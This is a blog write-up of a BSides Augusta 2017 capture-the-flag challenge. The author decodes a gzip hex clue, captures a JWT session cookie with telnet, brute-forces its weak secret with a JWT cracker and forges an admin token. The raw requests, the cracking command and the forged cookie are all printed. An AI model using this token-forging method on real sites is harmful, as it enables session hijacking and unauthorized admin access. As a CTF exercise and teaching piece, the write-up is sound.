Forging JSON Web Tokens To Win a Prize
Antoinette Maria
Posted on July 27, 2017
I received a screenshot of the above tweet from my teams intern. We're planning to attend BSides Augusta this year, so immediately everything gets thrown to the side so that I can solve (what I thought would be) a quick and easy challenge. It was neither, quick or easy. So I'm going to walk you through the 2-hour process of trying to solve this challenge. I had some help so that will be mixed in with my thoughts as well.
The Easy Part
Looking at the string of text, it looks like hex. I threw it into a hex to ascii converter online and got gibberish. I looked at the string for a minute and noticed that the first few bytes looked really familiar. 1f8b08
is the file signature for a gzip file. Let the record show, that I actually realized that the first few bytes were special on my own. I used Google to verify, but I am proud of myself for even knowing that since it wasn't knowledge that I actively knew I possessed.
I put the hex into a hex editor (also found online) and downloaded the zip file. If you do a zcat
on the file, it prints out an IP address.
zcat
is a handy command line tool tocat
or print to the console, the contents of a zip file without decompressing the file.
~$ zcat test.gz
35.184.14.24
The Not-So-Easy Part
Visiting that IP address leads to..
Right away I noticed that the site is running over port 80 a.k.a no HTTPS. Also, due to the nature of what I'm doing (trying to hack something), I knew it was probably vulnerable in some way. If you try to brute force it, you'll get a message saying that you can't do that. Below is what happens if you try to enter 'Admin' as the user and 'admin' as the password.
I used the 'Inspect' feature of Google Chrome to look at the source code.
There's a javascript file called 'custom.js' and inside of it I could see the handling for the login form and also a registration form that seems to be hidden and can only be accessed by the admin. Hmm... This was my brick wall. So everything beyond this point is largely based on guidance I received from the amazing security community I'm apart of in my city, SecDSM.
Telnet
Telnet is a command line tool that can be used to manually communicate with a server over a specified port. For example, if you want to send an HTTP GET request manually or specially craft one yourself, you can use telnet to do that.
$ telnet 35.184.14.24 80
Trying 35.184.14.24...
Connected to 24.14.184.35.bc.googleusercontent.com.
Escape character is '^]'.
GET /home.html HTTP/1.0
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 54
Set-Cookie: bsides_augusta_2017=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3N1ZWQiOiIyMDE3LTA3LTIwIDE2OjI0OjIwLjUyMjY0NSIsInVzZXIiOiJndWVzdCJ9.akXnslG9494KsLHyRf6pJBlCAVgmZSNBMwOE38jCF2s
Server: Werkzeug/0.12.2 Python/2.7.12
Date: Thu, 20 Jul 2017 16:24:20 GMT
<html><script>window.location.href='/'</script></html>Connection closed by foreign host.
The response from the server gave me a lot of information. I saw that the server is setting a cookie called bsides_augusta_2017 and the value looks like a base64 encoded string.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
decodes to {"alg":"HS256","typ":"JWT"}
eyJpc3N1ZWQiOiIyMDE3LTA3LTIwIDE2OjI0OjIwLjUyMjY0NSIsInVzZXIiOiJndWVzdCJ9
decodes to {"issued":"2017-07-20 16:24:20.522645","user":"guest"}
From this I knew the type of algorithm and cookie type, as well as what user we're showing up as; guest.
If You Give A Site A Cookie...
We need to find a way to forge a cookie that tells the server we're the admin. This is achieved in four steps.
Step 1: Get the Session Cookie With a GET
$ telnet 35.184.14.24 80
Trying 35.184.14.24...
Connected to 24.14.184.35.bc.googleusercontent.com.
Escape character is '^]'.
GET / HTTP/1.0
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 2091
Set-Cookie: bsides_augusta_2017=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3N1ZWQiOiIyMDE3LTA3LTI3IDAyOjExOjA1LjEwMjYzMCIsInVzZXIiOiJndWVzdCJ9.WtsckOvZlwBNlE4vJuvA9sK0LAZ0zQ47161ogfrZ1Vw
Server: Werkzeug/0.12.2 Python/2.7.12
Date: Thu, 27 Jul 2017 02:11:05 GMT
Step 2: Get The Secret Key
This site uses JSON Web Tokens. JWTs are signed using a secret key, so I needed to find out what that is in order to forge the cookie. Brendan Rius' JWT Cracker is what I used to get the key in a matter of seconds.
~/c-jwt-cracker$ ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3N1ZWQiOiIyMDE3LTA3LTI3IDAyOjExOjA1LjEwMjYzMCIsInVzZXIiOiJndWVzdCJ9.WtsckOvZlwBNlE4vJuvA9sK0LAZ0zQ47161ogfrZ1Vw
Secret is "l3et"
Step 3: Edit the Cookie
To edit the cookie, I used jsonwebtoken.io with the secret I uncovered using jwtcrack
.
Step 4: Insert The New Value For Your Cookie
There are multiple ways to do this. I have a plugin on my Chrome Browser called Edit This Cookie that allows me to edit the value of a cookie directly. I used this after verifying that the value was correct with telnet.
$ telnet 35.184.14.24 80
Trying 35.184.14.24...
Connected to 24.14.184.35.bc.googleusercontent.com.
Escape character is '^]'.
GET /home.html HTTP/1.1
Host: 35.184.14.24
Cookie: bsides_augusta_2017=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3N1ZWQiOiIyMDE3LTA3LTI3IDAyOjExOjA1LjEwMjYzMCIsInVzZXIiOiJhZG1pbiIsImp0aSI6IjI1NzU0OGIxLTU4MDctNDZiNi05ZDBmLTBkY2FiNzYyM2Y0NSIsImlhdCI6MTUwMTEyMTU2MCwiZXhwIjoxNTAxMTI1MTYwfQ.mHrODuQhBBVcC954lkquc5xOVNZI0fwMuIVNjKD0EAY
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 2974
Server: Werkzeug/0.12.2 Python/2.7.12
Date: Thu, 27 Jul 2017 02:13:41 GMT
...
...
...
<!-- Created by Christopher Davis. https://www.linkedin.com/in/christopher-davis-4817b392/ -->
...
...
...
<h3>  Challenge Success!</h3>
<p>Good job on solving the challenge and being the #11 player to solve the challenge! As one of the first 5 players, you will receive a prize at Bsides August 2017.</br>Simply Provide your details below and someone will contact you.</br> Please do NOT register unless you are attending Bsides Augusta on Sep 16 2017. Tickets can be bought <a href="https://www.eventbrite.com/e/bsidesaugusta-2017-tickets-35553549624?ref=ecount">here</a>.</p>
...
...
...
Connection closed by foreign host.
Success
Welp, that's all folks. Replace #11 with #3 and you've got exactly what I saw.
Final Thoughts
A few of the other guys from SecDSM also started working on this challenge after I asked for help. One of them use BurpSuite to forward the forged cookie to the server (just in case you were curious about alternative ways). I'm not well versed in BurpSuite, but I have a feeling it'll be handy for future challenges that involving web vulnerabilities.
Another one of the guys is the one who found jwtcracker and the token forgery site. I asked him later how he knew to look for these. He said he didn't recognize the webserver used (As seen in the HTTP response from the telnet commands
Server: Werkzeug/0.12.2 Python/2.7.12
) and Googled session handling for it. I did the same and you're eventually directed toward JSON Web Tokens. The lesson here is to take the time to pay attention to everything.This challenge was far more difficult than I initially thought, but it was also extremely beneficial. I've never had to forge a cookie and now I know how and now you do too. Give it a shot.
BSides Augusta is September 16th in Augusta, Georgia. Get more information on their website.
Posted on July 27, 2017
Join Our Newsletter. No Spam, Only the good stuff.
Sign up to receive the latest update from our blog.
Related
November 29, 2024
November 29, 2024
November 29, 2024